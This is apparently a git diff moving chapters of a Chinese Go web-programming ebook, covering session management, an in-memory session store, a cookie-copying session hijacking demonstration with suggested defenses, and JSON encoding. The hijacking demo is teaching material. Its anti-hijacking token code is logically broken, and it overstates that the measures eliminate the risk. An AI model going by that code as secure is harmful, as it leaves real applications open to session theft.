因为Session有过期的概念所以我们定义了GC操作当访问过期时间满足GC的触发条件后将会引起GC但是当我们进行了任意一个session操作都会对Session实体进行更新都会触发对最后访问时间的修改这样当GC的时候就不会误删除还在使用的Session实体。
### session重置
我们知道Web应用中有用户退出这个操作那么当用户退出应用的时候我们需要对该用户的session数据进行销毁操作上面的代码已经演示了如何使用session重置操作下面这个函数就是实现了这个功能
//Destroy sessionid
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
cookie, err := r.Cookie(manager.cookieName)
if err != nil || cookie.Value == "" {
return
} else {
manager.lock.Lock()
defer manager.lock.Unlock()
manager.provider.SessionDestroy(cookie.Value)
expiration := time.Now()
cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
http.SetCookie(w, &cookie)
}
}
### session销毁
我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动
func init() {
go globalSessions.GC()
}
func (manager *Manager) GC() {
manager.lock.Lock()
defer manager.lock.Unlock()
manager.provider.SessionGC(manager.maxlifetime)
time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
}
我们可以看到GC充分利用了time包中的定时器功能当超时`maxLifeTime`之后调用GC函数这样就可以保证`maxLifeTime`时间内的session都是可用的类似的方案也可以用于统计在线用户数之类的。
## 总结
至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager定义了用来提供Session存储实现Provider的接口,下一小节我们将会通过接口定义来实现一些Provider,供大家参考学习。
## links
* [目录](<preface.md>)
* 上一节: [session和cookie](<06.1.md>)
* 下一节: [session存储](<06.3.md>)

274
06.3.md → ebook/06.3.md Executable file → Normal file
View File

@@ -1,137 +1,137 @@
# 6.3 session存储
上一节我们介绍了Session管理器的实现原理定义了存储session的接口这小节我们将示例一个基于内存的session存储接口的实现其他的存储方式读者可以自行参考示例来实现内存的实现请看下面的例子代码
package memory
import (
"container/list"
"github.com/astaxie/session"
"sync"
"time"
)
var pder = &Provider{list: list.New()}
type SessionStore struct {
sid string //session id唯一标示
timeAccessed time.Time //最后访问时间
value map[interface{}]interface{} //session里面存储的值
}
func (st *SessionStore) Set(key, value interface{}) error {
st.value[key] = value
pder.SessionUpdate(st.sid)
return nil
}
func (st *SessionStore) Get(key interface{}) interface{} {
pder.SessionUpdate(st.sid)
if v, ok := st.value[key]; ok {
return v
} else {
return nil
}
return nil
}
func (st *SessionStore) Delete(key interface{}) error {
delete(st.value, key)
pder.SessionUpdate(st.sid)
return nil
}
func (st *SessionStore) SessionID() string {
return st.sid
}
type Provider struct {
lock sync.Mutex //用来锁
sessions map[string]*list.Element //用来存储在内存
list *list.List //用来做gc
}
func (pder *Provider) SessionInit(sid string) (session.Session, error) {
pder.lock.Lock()
defer pder.lock.Unlock()
v := make(map[interface{}]interface{}, 0)
newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
element := pder.list.PushBack(newsess)
pder.sessions[sid] = element
return newsess, nil
}
func (pder *Provider) SessionRead(sid string) (session.Session, error) {
if element, ok := pder.sessions[sid]; ok {
return element.Value.(*SessionStore), nil
} else {
sess, err := pder.SessionInit(sid)
return sess, err
}
return nil, nil
}
func (pder *Provider) SessionDestroy(sid string) error {
if element, ok := pder.sessions[sid]; ok {
delete(pder.sessions, sid)
pder.list.Remove(element)
return nil
}
return nil
}
func (pder *Provider) SessionGC(maxlifetime int64) {
pder.lock.Lock()
defer pder.lock.Unlock()
for {
element := pder.list.Back()
if element == nil {
break
}
if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
pder.list.Remove(element)
delete(pder.sessions, element.Value.(*SessionStore).sid)
} else {
break
}
}
}
func (pder *Provider) SessionUpdate(sid string) error {
pder.lock.Lock()
defer pder.lock.Unlock()
if element, ok := pder.sessions[sid]; ok {
element.Value.(*SessionStore).timeAccessed = time.Now()
pder.list.MoveToFront(element)
return nil
}
return nil
}
func init() {
pder.sessions = make(map[string]*list.Element, 0)
session.Register("memory", pder)
}
上面这个代码实现了一个内存存储的session机制。通过init函数注册到session管理器中。这样就可以方便的调用了。我们如何来调用该引擎呢请看下面的代码
import (
"github.com/astaxie/session"
_ "github.com/astaxie/session/providers/memory"
)
当import的时候已经执行了memory函数里面的init函数这样就已经注册到session管理器中我们就可以使用了通过如下方式就可以初始化一个session管理器
var globalSessions *session.Manager
//然后在init函数中初始化
func init() {
globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
go globalSessions.GC()
}
## links
* [目录](<preface.md>)
* 上一节: [Go如何使用session](<06.2.md>)
* 下一节: [预防session劫持](<06.4.md>)
# 6.3 session存储
上一节我们介绍了Session管理器的实现原理定义了存储session的接口这小节我们将示例一个基于内存的session存储接口的实现其他的存储方式读者可以自行参考示例来实现内存的实现请看下面的例子代码
package memory
import (
"container/list"
"github.com/astaxie/session"
"sync"
"time"
)
var pder = &Provider{list: list.New()}
type SessionStore struct {
sid string //session id唯一标示
timeAccessed time.Time //最后访问时间
value map[interface{}]interface{} //session里面存储的值
}
func (st *SessionStore) Set(key, value interface{}) error {
st.value[key] = value
pder.SessionUpdate(st.sid)
return nil
}
func (st *SessionStore) Get(key interface{}) interface{} {
pder.SessionUpdate(st.sid)
if v, ok := st.value[key]; ok {
return v
} else {
return nil
}
return nil
}
func (st *SessionStore) Delete(key interface{}) error {
delete(st.value, key)
pder.SessionUpdate(st.sid)
return nil
}
func (st *SessionStore) SessionID() string {
return st.sid
}
type Provider struct {
lock sync.Mutex //用来锁
sessions map[string]*list.Element //用来存储在内存
list *list.List //用来做gc
}
func (pder *Provider) SessionInit(sid string) (session.Session, error) {
pder.lock.Lock()
defer pder.lock.Unlock()
v := make(map[interface{}]interface{}, 0)
newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
element := pder.list.PushBack(newsess)
pder.sessions[sid] = element
return newsess, nil
}
func (pder *Provider) SessionRead(sid string) (session.Session, error) {
if element, ok := pder.sessions[sid]; ok {
return element.Value.(*SessionStore), nil
} else {
sess, err := pder.SessionInit(sid)
return sess, err
}
return nil, nil
}
func (pder *Provider) SessionDestroy(sid string) error {
if element, ok := pder.sessions[sid]; ok {
delete(pder.sessions, sid)
pder.list.Remove(element)
return nil
}
return nil
}
func (pder *Provider) SessionGC(maxlifetime int64) {
pder.lock.Lock()
defer pder.lock.Unlock()
for {
element := pder.list.Back()
if element == nil {
break
}
if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
pder.list.Remove(element)
delete(pder.sessions, element.Value.(*SessionStore).sid)
} else {
break
}
}
}
func (pder *Provider) SessionUpdate(sid string) error {
pder.lock.Lock()
defer pder.lock.Unlock()
if element, ok := pder.sessions[sid]; ok {
element.Value.(*SessionStore).timeAccessed = time.Now()
pder.list.MoveToFront(element)
return nil
}
return nil
}
func init() {
pder.sessions = make(map[string]*list.Element, 0)
session.Register("memory", pder)
}
上面这个代码实现了一个内存存储的session机制。通过init函数注册到session管理器中。这样就可以方便的调用了。我们如何来调用该引擎呢请看下面的代码
import (
"github.com/astaxie/session"
_ "github.com/astaxie/session/providers/memory"
)
当import的时候已经执行了memory函数里面的init函数这样就已经注册到session管理器中我们就可以使用了通过如下方式就可以初始化一个session管理器
var globalSessions *session.Manager
//然后在init函数中初始化
func init() {
globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
go globalSessions.GC()
}
## links
* [目录](<preface.md>)
* 上一节: [Go如何使用session](<06.2.md>)
* 下一节: [预防session劫持](<06.4.md>)

178
06.4.md → ebook/06.4.md Executable file → Normal file
View File

@@ -1,89 +1,89 @@
# 6.4 预防session劫持
session劫持是一种广泛存在的比较严重的安全威胁在session技术中客户端和服务端通过session的标识符来维护会话 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一种类型。
本节将通过一个实例来演示会话劫持希望通过这个实例能让读者更好地理解session的本质。
## session劫持过程
我们写了如下的代码来展示一个count计数器
func count(w http.ResponseWriter, r *http.Request) {
sess := globalSessions.SessionStart(w, r)
ct := sess.Get("countnum")
if ct == nil {
sess.Set("countnum", 1)
} else {
sess.Set("countnum", (ct.(int) + 1))
}
t, _ := template.ParseFiles("count.gtpl")
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("countnum"))
}
count.gtpl的代码如下所示
Hi. Now count:{{.}}
然后我们在浏览器里面刷新可以看到如下内容:
![](images/6.4.hijack.png?raw=true)
图6.4 浏览器端显示count数
随着刷新数字将不断增长当数字显示为6的时候打开浏览器(以chrome为例的cookie管理器可以看到类似如下的信息
![](images/6.4.cookie.png?raw=true)
图6.5 获取浏览器端保存的cookie
下面这个步骤最为关键: 打开另一个浏览器(这里我打开了firefox浏览器),复制chrome地址栏里的地址到新打开的浏览器的地址栏中。然后打开firefox的cookie模拟插件新建一个cookie把按上图中cookie内容原样在firefox中重建一份:
![](images/6.4.setcookie.png?raw=true)
图6.6 模拟cookie
回车后,你将看到如下内容:
![](images/6.4.hijacksuccess.png?raw=true)
图6.7 劫持session成功
可以看到虽然换了浏览器但是我们却获得了sessionID然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的不过即使换用两台来做其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶此处firefox盗用了chrome和goserver之间的维持会话的钥匙即gosessionid这是一种类型的“会话劫持”。在goserver看来它从http请求中得到了一个gosessionid由于HTTP协议的无状态性它无法得知这个gosessionid是从chrome那里“劫持”来的它依然会去查找对应的session并执行相关计算。与此同时 chrome也无法得知自己保持的会话已经被“劫持”。
## session劫持防范
### cookieonly和token
通过上面session劫持的简单演示可以了解到session一旦被其他人劫持就非常危险劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢
其中一个解决方案就是sessionID的值只允许cookie设置而不是通过URL重置方式设置同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie第一这个可以防止这个cookie被XSS读取从而引起session劫持第二cookie设置不会像URL重置方式那么容易获取sessionID。
第二步就是在每个请求里面加上token实现类似前面章节里面讲的防止form重复递交类似的功能我们在每个请求里面加上一个隐藏的token然后每次验证这个token从而保证用户的请求都是唯一性。
h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
//提示登录
}
sess.Set("token",token)
### 间隔生成新的SID
还有一个解决方案就是我们给session额外设置一个创建时间的值一旦过了一定的时间我们销毁这个sessionID重新生成新的session这样可以一定程度上防止session劫持的问题。
createtime := sess.Get("createtime")
if createtime == nil {
sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
globalSessions.SessionDestroy(w, r)
sess = globalSessions.SessionStart(w, r)
}
session启动后我们设置了一个值用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID这样使得攻击者获取有效sessionID的机会大大降低。
上面两个手段的组合可以在实践中消除session劫持的风险一方面 由于sessionID频繁改变使攻击者难有机会获取有效的sessionID另一方面因为sessionID只能在cookie中传递然后设置了httponly所以基于URL攻击的可能性为零同时被XSS获取sessionID也不可能。最后由于我们还设置了MaxAge=0这样就相当于session cookie不会留在浏览器的历史记录里面。
## links
* [目录](<preface.md>)
* 上一节: [session存储](<06.3.md>)
* 下一节: [小结](<06.5.md>)
# 6.4 预防session劫持
session劫持是一种广泛存在的比较严重的安全威胁在session技术中客户端和服务端通过session的标识符来维护会话 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一种类型。
本节将通过一个实例来演示会话劫持希望通过这个实例能让读者更好地理解session的本质。
## session劫持过程
我们写了如下的代码来展示一个count计数器
func count(w http.ResponseWriter, r *http.Request) {
sess := globalSessions.SessionStart(w, r)
ct := sess.Get("countnum")
if ct == nil {
sess.Set("countnum", 1)
} else {
sess.Set("countnum", (ct.(int) + 1))
}
t, _ := template.ParseFiles("count.gtpl")
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("countnum"))
}
count.gtpl的代码如下所示
Hi. Now count:{{.}}
然后我们在浏览器里面刷新可以看到如下内容:
![](images/6.4.hijack.png?raw=true)
图6.4 浏览器端显示count数
随着刷新数字将不断增长当数字显示为6的时候打开浏览器(以chrome为例的cookie管理器可以看到类似如下的信息
![](images/6.4.cookie.png?raw=true)
图6.5 获取浏览器端保存的cookie
下面这个步骤最为关键: 打开另一个浏览器(这里我打开了firefox浏览器),复制chrome地址栏里的地址到新打开的浏览器的地址栏中。然后打开firefox的cookie模拟插件新建一个cookie把按上图中cookie内容原样在firefox中重建一份:
![](images/6.4.setcookie.png?raw=true)
图6.6 模拟cookie
回车后,你将看到如下内容:
![](images/6.4.hijacksuccess.png?raw=true)
图6.7 劫持session成功
可以看到虽然换了浏览器但是我们却获得了sessionID然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的不过即使换用两台来做其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶此处firefox盗用了chrome和goserver之间的维持会话的钥匙即gosessionid这是一种类型的“会话劫持”。在goserver看来它从http请求中得到了一个gosessionid由于HTTP协议的无状态性它无法得知这个gosessionid是从chrome那里“劫持”来的它依然会去查找对应的session并执行相关计算。与此同时 chrome也无法得知自己保持的会话已经被“劫持”。
## session劫持防范
### cookieonly和token
通过上面session劫持的简单演示可以了解到session一旦被其他人劫持就非常危险劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢
其中一个解决方案就是sessionID的值只允许cookie设置而不是通过URL重置方式设置同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie第一这个可以防止这个cookie被XSS读取从而引起session劫持第二cookie设置不会像URL重置方式那么容易获取sessionID。
第二步就是在每个请求里面加上token实现类似前面章节里面讲的防止form重复递交类似的功能我们在每个请求里面加上一个隐藏的token然后每次验证这个token从而保证用户的请求都是唯一性。
h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
//提示登录
}
sess.Set("token",token)
### 间隔生成新的SID
还有一个解决方案就是我们给session额外设置一个创建时间的值一旦过了一定的时间我们销毁这个sessionID重新生成新的session这样可以一定程度上防止session劫持的问题。
createtime := sess.Get("createtime")
if createtime == nil {
sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
globalSessions.SessionDestroy(w, r)
sess = globalSessions.SessionStart(w, r)
}
session启动后我们设置了一个值用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID这样使得攻击者获取有效sessionID的机会大大降低。
上面两个手段的组合可以在实践中消除session劫持的风险一方面 由于sessionID频繁改变使攻击者难有机会获取有效的sessionID另一方面因为sessionID只能在cookie中传递然后设置了httponly所以基于URL攻击的可能性为零同时被XSS获取sessionID也不可能。最后由于我们还设置了MaxAge=0这样就相当于session cookie不会留在浏览器的历史记录里面。
## links
* [目录](<preface.md>)
* 上一节: [session存储](<06.3.md>)
* 下一节: [小结](<06.5.md>)

12
06.5.md → ebook/06.5.md Executable file → Normal file
View File

@@ -1,6 +1,6 @@
# 6.5 小结
这章我们学习了什么是session什么是cookie以及他们两者之间的关系。但是目前Go官方标准包里面不支持session所以我们设计了一个session管理器实现了session从创建到销毁的整个过程。然后定义了Provider的接口使得可以支持各种后端的session存储然后我们在第三小节里面介绍了如何使用内存存储来实现session的管理。第四小节我们讲解了session劫持的过程以及我们如何有效的来防止session劫持。通过这一章的讲解希望能够让读者了解整个sesison的执行原理以及如何实现而且是如何更加安全的使用session。
## links
* [目录](<preface.md>)
* 上一节: [session存储](<06.4.md>)
* 下一章: [文本处理](<07.0.md>)
# 6.5 小结
这章我们学习了什么是session什么是cookie以及他们两者之间的关系。但是目前Go官方标准包里面不支持session所以我们设计了一个session管理器实现了session从创建到销毁的整个过程。然后定义了Provider的接口使得可以支持各种后端的session存储然后我们在第三小节里面介绍了如何使用内存存储来实现session的管理。第四小节我们讲解了session劫持的过程以及我们如何有效的来防止session劫持。通过这一章的讲解希望能够让读者了解整个sesison的执行原理以及如何实现而且是如何更加安全的使用session。
## links
* [目录](<preface.md>)
* 上一节: [session存储](<06.4.md>)
* 下一章: [文本处理](<07.0.md>)

0
07.0.md → ebook/07.0.md Executable file → Normal file
View File

0
07.1.md → ebook/07.1.md Executable file → Normal file
View File

444
07.2.md → ebook/07.2.md Executable file → Normal file
View File

@@ -1,222 +1,222 @@
# 7.2 JSON处理
JSONJavascript Object Notation是一种轻量级的数据交换语言以文字为基础具有自我描述性且易于让人阅读。尽管JSON是Javascript的一个子集但JSON是独立于语言的文本格式并且采用了类似于C语言家族的一些习惯。JSON与XML最大的不同在于XML是一个完整的标记语言而JSON不是。JSON由于比XML更小、更快更易解析,以及浏览器的内建快速解析支持,使得其更适用于网络数据传输领域。目前我们看到很多的开放平台基本上都是采用了JSON作为他们的数据交互的接口。既然JSON在Web开发中如此重要那么Go语言对JSON支持的怎么样呢Go语言的标准库已经非常好的支持了JSON可以很容易的对JSON数据进行编、解码的工作。
前一小节的运维的例子用json来表示结果描述如下
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
本小节余下的内容将以此JSON数据为基础来介绍go语言的json包对JSON数据的编、解码。
## 解析JSON
### 解析到结构体
假如有了上面的JSON串那么我们如何来解析这个JSON串呢Go的JSON包中有如下函数
func Unmarshal(data []byte, v interface{}) error
通过这个函数我们就可以实现解析的目的,详细的解析例子请看如下代码:
package main
import (
"encoding/json"
"fmt"
)
type Server struct {
ServerName string
ServerIP string
}
type Serverslice struct {
Servers []Server
}
func main() {
var s Serverslice
str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
json.Unmarshal([]byte(str), &s)
fmt.Println(s)
}
通在上面的示例代码中我们首先定义了与json数据对应的结构体数组对应slice字段名对应JSON里面的KEY在解析的时候如何将json数据与struct字段相匹配呢例如JSON的key是`Foo`,那么怎么找对应的字段呢?
- 首先查找tag含有`Foo`的可导出的struct字段(首字母大写)
- 其次查找字段名是`Foo`的导出字段
- 最后查找类似`FOO`或者`FoO`这样的除了首字母之外其他大小写不敏感的导出字段
聪明的你一定注意到了这一点:能够被赋值的字段必须是可导出字段(即首字母大写。同时JSON解析的时候只会解析能找得到的字段如果找不到的字段会被忽略这样的一个好处是当你接收到一个很大的JSON数据结构而你却只想获取其中的部分数据的时候你只需将你想要的数据对应的字段名大写即可轻松解决这个问题。
### 解析到interface
上面那种解析方式是在我们知晓被解析的JSON数据的结构的前提下采取的方案如果我们不知道被解析的数据的格式又应该如何来解析呢
我们知道interface{}可以用来存储任意数据类型的对象这种数据结构正好用于存储解析的未知结构的json数据的结果。JSON包中采用map[string]interface{}和[]interface{}结构来存储任意的JSON对象和数组。Go类型和JSON类型的对应关系如下
- bool 代表 JSON booleans,
- float64 代表 JSON numbers,
- string 代表 JSON strings,
- nil 代表 JSON null.
现在我们假设有如下的JSON数据
b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
如果在我们不知道他的结构的情况下我们把他解析到interface{}里面
var f interface{}
err := json.Unmarshal(b, &f)
这个时候f里面存储了一个map类似他们的key是string值存储在空的interface{}里
f = map[string]interface{}{
"Name": "Wednesday",
"Age": 6,
"Parents": []interface{}{
"Gomez",
"Morticia",
},
}
那么如何来访问这些数据呢?通过断言的方式:
m := f.(map[string]interface{})
通过断言之后,你就可以通过如下方式来访问里面的数据了
for k, v := range m {
switch vv := v.(type) {
case string:
fmt.Println(k, "is string", vv)
case int:
fmt.Println(k, "is int", vv)
case []interface{}:
fmt.Println(k, "is an array:")
for i, u := range vv {
fmt.Println(i, u)
}
default:
fmt.Println(k, "is of a type I don't know how to handle")
}
}
通过上面的示例可以看到通过interface{}与type assert的配合我们就可以解析未知结构的JSON数了。
上面这个是官方提供的解决方案其实很多时候我们通过类型断言操作起来不是很方便目前bitly公司开源了一个叫做`simplejson`的包,在处理未知结构体的JSON时相当方便详细例子如下所示
js, err := NewJson([]byte(`{
"test": {
"array": [1, "2", 3],
"int": 10,
"float": 5.150,
"bignum": 9223372036854775807,
"string": "simplejson",
"bool": true
}
}`))
arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()
可以看到使用这个库操作JSON比起官方包来说简单的多,详细的请参考如下地址https://github.com/bitly/go-simplejson
## 生成JSON
我们开发很多应用的时候最后都是要输出JSON数据串那么如何来处理呢JSON包里面通过`Marshal`函数来处理,函数定义如下:
func Marshal(v interface{}) ([]byte, error)
假设我们还是需要生成上面的服务器列表信息,那么如何来处理呢?请看下面的例子:
package main
import (
"encoding/json"
"fmt"
)
type Server struct {
ServerName string
ServerIP string
}
type Serverslice struct {
Servers []Server
}
func main() {
var s Serverslice
s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
b, err := json.Marshal(s)
if err != nil {
fmt.Println("json err:", err)
}
fmt.Println(string(b))
}
输出如下内容:
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
我们看到上面的输出字段名都是大写的如果你想用小写的怎么办呢把结构体的字段名改成小写的JSON输出的时候必须注意只有导出的字段才会被输出如果修改字段名那么就会发现什么都不会输出所以必须通过struct tag定义来实现
type Server struct {
ServerName string `json:"serverName"`
ServerIP string `json:"serverIP"`
}
type Serverslice struct {
Servers []Server `json:"servers"`
}
通过修改上面的结构体定义输出的JSON串就和我们最开始定义的JSON串保持一致了。
针对JSON的输出我们在定义struct tag的时候需要注意的几点是:
- 字段的tag是`"-"`那么这个字段不会输出到JSON
- tag中带有自定义名称那么这个自定义名称会出现在JSON的字段名中例如上面例子中serverName
- tag中如果带有`"omitempty"`选项那么如果该字段值为空就不会输出到JSON串中
- 如果字段类型是bool, string, int, int64等而tag中带有`",string"`选项那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串
举例来说:
type Server struct {
// ID 不会导出到JSON中
ID int `json:"-"`
// ServerName 的值会进行二次JSON编码
ServerName string `json:"serverName"`
ServerName2 string `json:"serverName2,string"`
// 如果 ServerIP 为空则不输出到JSON串中
ServerIP string `json:"serverIP,omitempty"`
}
s := Server {
ID: 3,
ServerName: `Go "1.0" `,
ServerName2: `Go "1.0" `,
ServerIP: ``,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)
会输出以下内容:
{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}
Marshal函数只有在转换成功的时候才会返回数据在转换的过程中我们需要注意几点
- JSON对象只支持string作为key所以要编码一个map那么必须是map[string]T这种类型(T是Go语言中任意的类型)
- Channel, complex和function是不能被编码成JSON的
- 嵌套的数据是不能编码的不然会让JSON编码进入死循环
- 指针在编码的时候会输出指针指向的内容而空指针会输出null
本小节我们介绍了如何使用Go语言的json标准包来编解码JSON数据同时也简要介绍了如何使用第三方包`go-simplejson`来在一些情况下简化操作学会并熟练运用它们将对我们接下来的Web开发相当重要。
## links
* [目录](<preface.md>)
* 上一节: [XML处理](<07.1.md>)
* 下一节: [正则处理](<07.3.md>)
# 7.2 JSON处理
JSONJavascript Object Notation是一种轻量级的数据交换语言以文字为基础具有自我描述性且易于让人阅读。尽管JSON是Javascript的一个子集但JSON是独立于语言的文本格式并且采用了类似于C语言家族的一些习惯。JSON与XML最大的不同在于XML是一个完整的标记语言而JSON不是。JSON由于比XML更小、更快更易解析,以及浏览器的内建快速解析支持,使得其更适用于网络数据传输领域。目前我们看到很多的开放平台基本上都是采用了JSON作为他们的数据交互的接口。既然JSON在Web开发中如此重要那么Go语言对JSON支持的怎么样呢Go语言的标准库已经非常好的支持了JSON可以很容易的对JSON数据进行编、解码的工作。
前一小节的运维的例子用json来表示结果描述如下
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
本小节余下的内容将以此JSON数据为基础来介绍go语言的json包对JSON数据的编、解码。
## 解析JSON
### 解析到结构体
假如有了上面的JSON串那么我们如何来解析这个JSON串呢Go的JSON包中有如下函数
func Unmarshal(data []byte, v interface{}) error
通过这个函数我们就可以实现解析的目的,详细的解析例子请看如下代码:
package main
import (
"encoding/json"
"fmt"
)
type Server struct {
ServerName string
ServerIP string
}
type Serverslice struct {
Servers []Server
}
func main() {
var s Serverslice
str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
json.Unmarshal([]byte(str), &s)
fmt.Println(s)
}
通在上面的示例代码中我们首先定义了与json数据对应的结构体数组对应slice字段名对应JSON里面的KEY在解析的时候如何将json数据与struct字段相匹配呢例如JSON的key是`Foo`,那么怎么找对应的字段呢?
- 首先查找tag含有`Foo`的可导出的struct字段(首字母大写)
- 其次查找字段名是`Foo`的导出字段
- 最后查找类似`FOO`或者`FoO`这样的除了首字母之外其他大小写不敏感的导出字段
聪明的你一定注意到了这一点:能够被赋值的字段必须是可导出字段(即首字母大写。同时JSON解析的时候只会解析能找得到的字段如果找不到的字段会被忽略这样的一个好处是当你接收到一个很大的JSON数据结构而你却只想获取其中的部分数据的时候你只需将你想要的数据对应的字段名大写即可轻松解决这个问题。
### 解析到interface
上面那种解析方式是在我们知晓被解析的JSON数据的结构的前提下采取的方案如果我们不知道被解析的数据的格式又应该如何来解析呢
我们知道interface{}可以用来存储任意数据类型的对象这种数据结构正好用于存储解析的未知结构的json数据的结果。JSON包中采用map[string]interface{}和[]interface{}结构来存储任意的JSON对象和数组。Go类型和JSON类型的对应关系如下
- bool 代表 JSON booleans,
- float64 代表 JSON numbers,
- string 代表 JSON strings,
- nil 代表 JSON null.
现在我们假设有如下的JSON数据
b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
如果在我们不知道他的结构的情况下我们把他解析到interface{}里面
var f interface{}
err := json.Unmarshal(b, &f)
这个时候f里面存储了一个map类似他们的key是string值存储在空的interface{}里
f = map[string]interface{}{
"Name": "Wednesday",
"Age": 6,
"Parents": []interface{}{
"Gomez",
"Morticia",
},
}
那么如何来访问这些数据呢?通过断言的方式:
m := f.(map[string]interface{})
通过断言之后,你就可以通过如下方式来访问里面的数据了
for k, v := range m {
switch vv := v.(type) {
case string:
fmt.Println(k, "is string", vv)
case int:
fmt.Println(k, "is int", vv)
case []interface{}:
fmt.Println(k, "is an array:")
for i, u := range vv {
fmt.Println(i, u)
}
default:
fmt.Println(k, "is of a type I don't know how to handle")
}
}
通过上面的示例可以看到通过interface{}与type assert的配合我们就可以解析未知结构的JSON数了。
上面这个是官方提供的解决方案其实很多时候我们通过类型断言操作起来不是很方便目前bitly公司开源了一个叫做`simplejson`的包,在处理未知结构体的JSON时相当方便详细例子如下所示
js, err := NewJson([]byte(`{
"test": {
"array": [1, "2", 3],
"int": 10,
"float": 5.150,
"bignum": 9223372036854775807,
"string": "simplejson",
"bool": true
}
}`))
arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()
可以看到使用这个库操作JSON比起官方包来说简单的多,详细的请参考如下地址https://github.com/bitly/go-simplejson
## 生成JSON
我们开发很多应用的时候最后都是要输出JSON数据串那么如何来处理呢JSON包里面通过`Marshal`函数来处理,函数定义如下:
func Marshal(v interface{}) ([]byte, error)
假设我们还是需要生成上面的服务器列表信息,那么如何来处理呢?请看下面的例子:
package main
import (
"encoding/json"
"fmt"
)
type Server struct {
ServerName string
ServerIP string
}
type Serverslice struct {
Servers []Server
}
func main() {
var s Serverslice
s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
b, err := json.Marshal(s)
if err != nil {
fmt.Println("json err:", err)
}
fmt.Println(string(b))
}
输出如下内容:
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
我们看到上面的输出字段名都是大写的如果你想用小写的怎么办呢把结构体的字段名改成小写的JSON输出的时候必须注意只有导出的字段才会被输出如果修改字段名那么就会发现什么都不会输出所以必须通过struct tag定义来实现
type Server struct {
ServerName string `json:"serverName"`
ServerIP string `json:"serverIP"`
}
type Serverslice struct {
Servers []Server `json:"servers"`
}
通过修改上面的结构体定义输出的JSON串就和我们最开始定义的JSON串保持一致了。
针对JSON的输出我们在定义struct tag的时候需要注意的几点是:
- 字段的tag是`"-"`那么这个字段不会输出到JSON
- tag中带有自定义名称那么这个自定义名称会出现在JSON的字段名中例如上面例子中serverName
- tag中如果带有`"omitempty"`选项那么如果该字段值为空就不会输出到JSON串中
- 如果字段类型是bool, string, int, int64等而tag中带有`",string"`选项那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串
举例来说:
type Server struct {
// ID 不会导出到JSON中
ID int `json:"-"`
// ServerName 的值会进行二次JSON编码
ServerName string `json:"serverName"`
ServerName2 string `json:"serverName2,string"`
// 如果 ServerIP 为空则不输出到JSON串中
ServerIP string `json:"serverIP,omitempty"`
}
s := Server {
ID: 3,
ServerName: `Go "1.0" `,
ServerName2: `Go "1.0" `,
